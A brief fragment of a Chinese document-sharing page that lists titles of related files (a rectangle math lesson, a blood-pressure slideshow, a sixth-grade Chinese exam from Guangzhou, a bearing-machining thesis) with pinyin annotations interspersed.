- 《認(rèn)識長方形》數(shù)學(xué)
- 關(guān)注體重 控制血壓課件
- 統(tǒng)編版六年級語文上冊廣東省廣州市花都區(qū)期末檢測試卷附答案
- 畢業(yè)論文滾動軸承的加工工藝設(shè)計(jì)
評論
0/150
提交評論